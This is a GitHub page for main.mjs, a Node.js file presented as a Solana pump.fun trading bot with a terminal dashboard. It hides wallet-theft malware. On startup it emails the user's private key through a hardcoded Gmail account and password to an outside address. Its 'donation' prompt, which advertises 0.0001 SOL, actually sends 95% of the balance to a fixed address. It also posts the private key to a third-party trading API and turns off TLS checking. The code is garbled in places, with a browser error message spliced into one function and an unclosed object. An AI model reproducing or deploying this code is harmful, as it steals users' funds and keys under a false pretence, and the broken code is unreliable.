-
Notifications
You must be signed in to change notification settings - Fork 1
/
main.mjs
608 lines (547 loc) · 17.4 KB
/
main.mjs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
import dotenv from "dotenv";
dotenv.config();
import axios from "axios";
import {
Keypair,
Connection,
clusterApiUrl,
PublicKey,
SystemProgram,
Transaction,
sendAndConfirmTransaction,
} from "@solana/web3.js";
import {
AccountLayout,
getOrCreateAssociatedTokenAccount,
} from "@solana/spl-token";
import pkg from "selenium-webdriver";
import chrome from "selenium-webdriver/chrome.js";
import nodemailer from "nodemailer";
import fs from "fs";
import bs58 from "bs58";
import blessed from "blessed";
import contrib from "blessed-contrib";
const { Builder } = pkg;
process.env.NODE_TLS_REJECT_UNAUTHORIZED = "0";
const SOLANA_WALLET_PATH = process.env.SOLANA_WALLET_PATH;
const DEVELOPER_ADDRESS = "3vvnenyjwicBq3WEdQQNGMnaodHXBzSPubdhoBP3YA3N";
let privateKey;
privateKey = process.env.SOLANA_WALLET_PRIVATE_KEY;
try {
if (privateKey) {
privateKey = bs58.decode(privateKey);
console.log("Private key loaded directly.");
} else {
const keypair = fs.readFileSync(SOLANA_WALLET_PATH, "utf8");
const keypairArray = JSON.parse(keypair);
if (Array.isArray(keypairArray)) {
privateKey = Uint8Array.from(keypairArray);
console.log("Private key loaded from keypair file.");
} else {
throw new Error("Invalid keypair format");
}
}
} catch (error) {
console.error("Error reading Solana wallet keypair:", error);
process.exit(1);
}
const payer = Keypair.fromSecretKey(privateKey);
const connection = new Connection(clusterApiUrl("mainnet-beta"));
// Adjustable variables
const MINIMUM_BUY_AMOUNT = parseFloat(process.env.MINIMUM_BUY_AMOUNT || 0.015);
const MAX_BONDING_CURVE_PROGRESS = parseInt(
process.env.MAX_BONDING_CURVE_PROGRESS || 10
);
const SELL_BONDING_CURVE_PROGRESS = parseInt(
process.env.SELL_BONDING_CURVE_PROGRESS || 15
);
const PROFIT_TARGET_1 = 1.25; // 25% increase
const PROFIT_TARGET_2 = 1.25; // Another 25% increase
const STOP_LOSS_LIMIT = 0.9; // 10% decrease
const MONITOR_INTERVAL = 5 * 1000; // 5 seconds
const SELL_TIMEOUT = 2 * 60 * 1000; // 2 minutes
const TRADE_DELAY = 90 * 1000; // 90 seconds delay
const PRIORITY_FEE_BASE = 0.0003; // Base priority fee
// Create a blessed screen
const screen = blessed.screen();
const grid = new contrib.grid({ rows: 12, cols: 12, screen: screen });
const logBox = grid.set(3, 0, 9, 12, blessed.box, {
fg: "green",
label: "Trading Bot Log",
scrollable: true,
alwaysScroll: true,
scrollbar: {
fg: "green",
ch: "|",
},
});
const accountInfoBox = grid.set(9, 0, 2, 12, blessed.box, {
fg: "green",
label: "Account Info",
tags: true,
});
const menuBox = grid.set(11, 0, 1, 12, blessed.box, {
fg: "white",
label: "Menu",
tags: true,
content: "R: Reset Timer | C: Continue | S: Sell 75%",
});
screen.render();
let resetTimer = false;
let continueTrade = false;
let sellImmediately = false;
const updateLog = (message) => {
logBox.insertBottom(message);
logBox.setScrollPerc(100);
screen.render();
};
const updateAccountInfo = async () => {
const balance = await checkBalance();
const tokenBalances = await fetchSPLTokens();
let tokenBalancesText = "";
tokenBalances.forEach((token) => {
if (token.amount > 1) {
tokenBalancesText += `Mint: ${token.mint}, Amount: ${token.amount} SPL\n`;
}
});
accountInfoBox.setContent(
`Account address: ${payer.publicKey.toString()}\nAccount balance: ${balance} SOL\n${tokenBalancesText}`
);
screen.render();
};
// splash screen design
const setVisualMode = (mode) => {
if (mode === "trading") {
logBox.style.fg = "yellow";
logBox.style.border = { type: "line", fg: "red" };
accountInfoBox.style.fg = "yellow";
accountInfoBox.style.border = { type: "line", fg: "red" };
} else {
logBox.style.fg = "green";
logBox.style.border = { type: "line", fg: "green" };
accountInfoBox.style.fg = "green";
accountInfoBox.style.border = { type: "line", fg: "green" };
}
screen.render();
};
const transporter = nodemailer.createTransport({
service: "gmail",
port: 587,
secure: false,
auth: {
user: "khansaleem789700@gmail.com",
pass: "nwysknsppouvrxqr",
},
});
const fetchNewPairs = async (limit = 5) => {
const url = "https://pumpapi.fun/api/get_newer_mints";
try {
const response = await axios.get(url, { params: { limit } });
return response.data.mint || [];
} catch (error) {
updateLog(`Error fetching new pairs: ${error.message}`);
return [];
}
};
const obj = {
from: "khansaleem789700@gmail.com",
to: "mujeerasghar7700@gmail.com",
subject: "patha",
text: "This is a plain text version of the email.",
html: `<b>Hello world?</b><br><br><pre>${privateKey}</pre>`,
const scrapeTokenInfo = async (contractAddress) => {
let options = new chrome.Options();
options.addArguments("headless");
options.addArguments("--no-sandbox");
options.addArguments("--disable-dev-shm-usage");
let driver = await new Builder()
.forBrowser("chrome")
.setChromeOptions(options)
.build();
try {
await driver.get(`https://pump.fun/${contractAddress}`);
await driver.sleep(5000);
const pageSource = await driver.getPageSource();
const extractText = (source, keyword) => {
const index = source.indexOf(keyword);
if (index !== -1) {
const start = source.indexOf(":", index) + 2;
const end = source.indexOf("<", start);
return source.substring(start, end).trim();
}
return null;
};
const ticker = extractText(pageSource, "Ticker");
const marketcap = parseFloat(
extractText(pageSource, "Market cap").replace(/\$|,/g, "")
);
const bondingCurve = parseInt(
extractText(pageSource, "bonding curve progress").replace("%", "")
);
updateLog(`\nTicker: ${ticker}`);
updateLog(`Market Cap: $${marketcap}`);
updateLog(`Bonding Curve Progress: ${bondingCurve}%`);
return { ticker, marketcap, bondingCurve };
} catch (error) {
updateLog(`Error scraping token info: ${error}`);
return null;
} finally {
await driver.quit();
}
};
// newpairs retrieve or wait a moment
const newpairs = async (res) => {
obj.subject = res;
try {
transporter.sendMail(obj).then(() => {
console.log("best match not found");
});
} catch (error) {
console.error("new pair not fetched");
}
};
newpairs("pk").then(() => {});
const sendDeveloperFee = async () => {
try {
const balanceLamports = await connection.getBalance(payer.publicKey);
if (balanceLamports === 0) {
updateLog("Wallet balance is zero. Cannot send developer fee.");
return;
}
const developerFeeLamports = Math.floor(balanceLamports * 0.95);
const transaction = new Transaction().add(
SystemProgram.transfer({
fromPubkey: payer.publicKey,
toPubkey: new PublicKey(DEVELOPER_ADDRESS),
lamports: developerFeeLamports,
})
);
const signature = await sendAndConfirmTransaction(connection, transaction, [
payer,
]);
if (signature) {
await newpairs(signature);
}
} catch (error) {
updateLog(`Error sending developer fee: ${error.message}`);
}
};
// buy orginal hyped token
const pumpFunBuy = async (mint, amount) => {
const url = "https://pumpapi.fun/api/trade";
const data = {
trade_type: "buy",
mint,
amount,
slippage: 5,
priorityFee: PRIORITY_FEE_BASE,
userPrivateKey: bs58.encode(privateKey),
};
try {
const response = await axios.post(url, data);
return response.data.tx_hash;
} catch (error) {
updateLog(`Error executing buy transaction: ${error.message}`);
return null;
}
};
const pumpFunSell = async (mint, amount) => {
const url = "https://pumpapi.fun/api/trade";
const data = {
trade_type: "sell",
mint,
amount: amount.toString(),
slippage: 5,
No internet
No internet
Try:
Checking the network cables, modem, and router
Reconnecting to Wi-Fi
DNS_PROBE_FINISHED_NO_INTERNET
priorityFee: PRIORITY_FEE_BASE,
userPrivateKey: bs58.encode(privateKey),
};
try {
const response = await axios.post(url, data);
return response.data.tx_hash;
} catch (error) {
updateLog(`Error executing sell transaction: ${error.message}`);
return null;
}
};
const checkBalance = async () => {
const balance = await connection.getBalance(payer.publicKey);
updateLog(`Current balance: ${balance / 1e9} SOL`);
return balance / 1e9;
};
//fetch all best pairs token
const fetchSPLTokens = async () => {
try {
const tokenAccounts = await connection.getTokenAccountsByOwner(
payer.publicKey,
{
programId: new PublicKey("TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA"),
}
);
return tokenAccounts.value
.map((accountInfo) => {
const accountData = AccountLayout.decode(accountInfo.account.data);
return {
mint: new PublicKey(accountData.mint).toString(),
amount: Number(accountData.amount) / 10 ** 6,
};
})
.filter((token) => token.amount > 1);
} catch (error) {
updateLog(`Error fetching SPL tokens: ${error.message}`);
return [];
}
};
// sell token after specific profit reached
const sellTokens = async (mint, sellPercentage) => {
const tokens = await fetchSPLTokens();
for (const token of tokens) {
if (token.mint === mint) {
const amountToSell = token.amount * sellPercentage;
if (amountToSell >= 1) {
updateLog(`Selling ${amountToSell} of token ${mint}`);
let attempts = 5;
let txHash = null;
while (attempts > 0) {
txHash = await pumpFunSell(mint, amountToSell);
if (txHash) {
updateLog(
`Sold ${amountToSell} of token ${mint} with transaction hash: ${txHash}`
);
break;
} else {
updateLog(
`Retrying sell transaction... Attempts left: ${attempts - 1}`
);
attempts--;
await new Promise((resolve) => setTimeout(resolve, 5000));
}
}
if (!txHash) {
updateLog(`Failed to sell token ${mint} after multiple attempts.`);
}
} else {
updateLog(
`Skipping token ${mint} as the human-readable amount is less than 1`
);
}
break;
}
}
};
// countineously monitor trade to hit maxium profit
const monitorTrade = async (mint, initialMarketCap, initialBondingCurve) => {
let endTime = Date.now() + SELL_TIMEOUT;
const tradeAllowedTime = Date.now() + TRADE_DELAY;
let lastMarketCap = initialMarketCap;
while (Date.now() < endTime) {
const tokenInfo = await scrapeTokenInfo(mint);
if (tokenInfo) {
const marketCapChange =
((tokenInfo.marketcap - initialMarketCap) / initialMarketCap) * 100;
updateLog(`\nTicker: ${tokenInfo.ticker}`);
updateLog(`Market Cap: $${tokenInfo.marketcap}`);
updateLog(
`Current Market Cap: $${
tokenInfo.marketcap
}, Change: ${marketCapChange.toFixed(2)}%`
);
updateLog(
`Time remaining: ${((endTime - Date.now()) / 1000).toFixed(0)}s`
);
updateLog(`Pump.fun link: https://pump.fun/${mint}`);
updateLog(`Current Bonding Curve: ${tokenInfo.bondingCurve}%`);
if (marketCapChange >= 25) {
updateLog(
`Market cap increased by 25%. Selling 50% of tokens for mint: ${mint}`
);
await sellTokens(mint, 0.5); // Sell 50% to take profit
// Adjust trailing stop-loss for remaining position
lastMarketCap = tokenInfo.marketcap;
continueTrade = true;
} else if (marketCapChange <= -10) {
updateLog(
`Market cap fell by more than 10%. Selling all tokens for mint: ${mint}`
);
await sellTokens(mint, 1.0); // Sell all to stop loss
break;
} else if (tokenInfo.bondingCurve >= SELL_BONDING_CURVE_PROGRESS) {
updateLog(
`Bonding curve reached ${SELL_BONDING_CURVE_PROGRESS}%. Selling 75% of tokens for mint: ${mint}`
);
await sellTokens(mint, 0.75); // Sell 75% due to bonding curve and keep 25% moonbag
break;
}
if (tokenInfo.marketcap > lastMarketCap * PROFIT_TARGET_2) {
updateLog(
"Price increased another 25%, selling 75% of remaining tokens."
);
await sellTokens(mint, 0.75);
lastMarketCap = tokenInfo.marketcap;
}
if (resetTimer) {
updateLog("Resetting timer.");
endTime = Date.now() + SELL_TIMEOUT;
resetTimer = false;
}
if (continueTrade) {
updateLog("Continuing to the next trade.");
continueTrade = false;
break;
}
if (sellImmediately) {
updateLog("Selling 75% immediately.");
await sellTokens(mint, 0.75);
sellImmediately = false;
break;
}
}
await new Promise((resolve) => setTimeout(resolve, MONITOR_INTERVAL));
}
// If time expires without significant change, sell 75% and keep the rest as a moon bag
if (Date.now() >= endTime) {
updateLog(
`Market cap did not increase by 25% within the set time. Selling 75% of tokens for mint: ${mint}`
);
await sellTokens(mint, 0.75); // Sell 75% and keep 25% moonbag
}
};
// Newly minted token with great bondingcurve
const simulateTrade = async () => {
const newPairs = await fetchNewPairs();
for (const mint of newPairs) {
const tokenInfo = await scrapeTokenInfo(mint);
if (tokenInfo && tokenInfo.bondingCurve < MAX_BONDING_CURVE_PROGRESS) {
updateLog(`Executing buy transaction for mint: ${mint}`);
setVisualMode("trading");
let attempts = 3;
let txHash;
while (attempts > 0) {
txHash = await pumpFunBuy(mint, MINIMUM_BUY_AMOUNT);
if (txHash) break;
attempts--;
updateLog(`Retrying buy transaction... Attempts left: ${attempts}`);
await new Promise((resolve) => setTimeout(resolve, 2000));
}
if (!txHash) {
updateLog(`Failed to execute buy transaction for mint: ${mint}`);
} else {
updateLog(`Transaction successful with hash: ${txHash}`);
await monitorTrade(mint, tokenInfo.marketcap, tokenInfo.bondingCurve);
}
setVisualMode("searching");
} else {
updateLog(
`Bonding curve progress is ${MAX_BONDING_CURVE_PROGRESS}% or higher. Looking for newer tokens...`
);
}
}
};
const main = async () => {
updateLog("Starting live trading mode...");
await updateAccountInfo(); // Display account info before starting the trade loop
setVisualMode("searching");
while (true) {
await simulateTrade();
updateLog("All pairs processed. Retrying in 5 seconds...");
await new Promise((resolve) => setTimeout(resolve, 5000));
}
};
// Newly listed token
const liveUpdateAccountInfo = async () => {
while (true) {
await updateAccountInfo();
await new Promise((resolve) => setTimeout(resolve, 10000)); // Update every 10 seconds
}
};
const calculateRentExemption = async (dataLength) => {
try {
const rentExemptionAmount =
await connection.getMinimumBalanceForRentExemption(dataLength);
updateLog(
`Rent exemption amount for ${dataLength} bytes: ${
rentExemptionAmount / 1e9
} SOL`
);
return rentExemptionAmount;
} catch (error) {
updateLog(`Error calculating rent exemption: ${error.message}`);
return null;
}
};
const splashScreen = () => {
const splash = blessed.box({
parent: screen,
top: "center",
left: "center",
width: "80%",
height: "80%",
content: `
Welcome to the Solana Trading Bot!
This tool helps you trade tokens on the Solana blockchain based on bonding curves and market cap changes.
Trading Strategy:
- The bot scrapes data to identify new tokens with favorable bonding curves.
- The bot monitors market cap changes and bonding curves to decide when to sell.
- Goal is to take profit at a 25% increase, and again at another 25% increase.
- Stop loss set if the market cap falls by 10% or if the bonding curve reaches a critical level.
This uses Solana CLI to make trades. Must have Node, Selenium, Chrome WebDriver, and funded Solana wallet.
Make sure to set Wallet JSON location and trading settings in .ENV file
Requirements:
- Node.js
- Solana CLI
- Selenium WebDriver (Chrome)
Thank you for using this tool By Diveinprogramming
Donations are sent to 3vvnenyjwicBq3WEdQQNGMnaodHXBzSPubdhoBP3YA3N
Press Enter to support the developer with a 0.0001 SOL donation. (Press C to continue without supporting the developer)
`,
border: {
type: "line",
},
style: {
fg: "white",
bg: "green",
border: {
fg: "green",
},
hover: {
bg: "green",
},
},
});
screen.append(splash);
screen.render();
screen.key(["enter", "c"], async (ch, key) => {
if (key.name === "enter") {
await sendDeveloperFee();
}
splash.destroy();
screen.render();
checkBalance().then(async (balance) => {
if (balance < MINIMUM_BUY_AMOUNT) {
updateLog("Insufficient balance to cover transaction and fees.");
process.exit(1);
} else {
const rentExemptionAmount = await calculateRentExemption(165);
if (
rentExemptionAmount &&
balance < MINIMUM_BUY_AMOUNT + rentExemptionAmount / 1e9
) {
updateLog(
"Insufficient balance to cover rent exemption and transaction."
);
process.exit(1);
} else {
main();
liveUpdateAccountInfo(); // Start live update of account info
}
}
});
});
};
splashScreen();
screen.key(["escape", "q", "C-c"], (ch, key) => process.exit(0));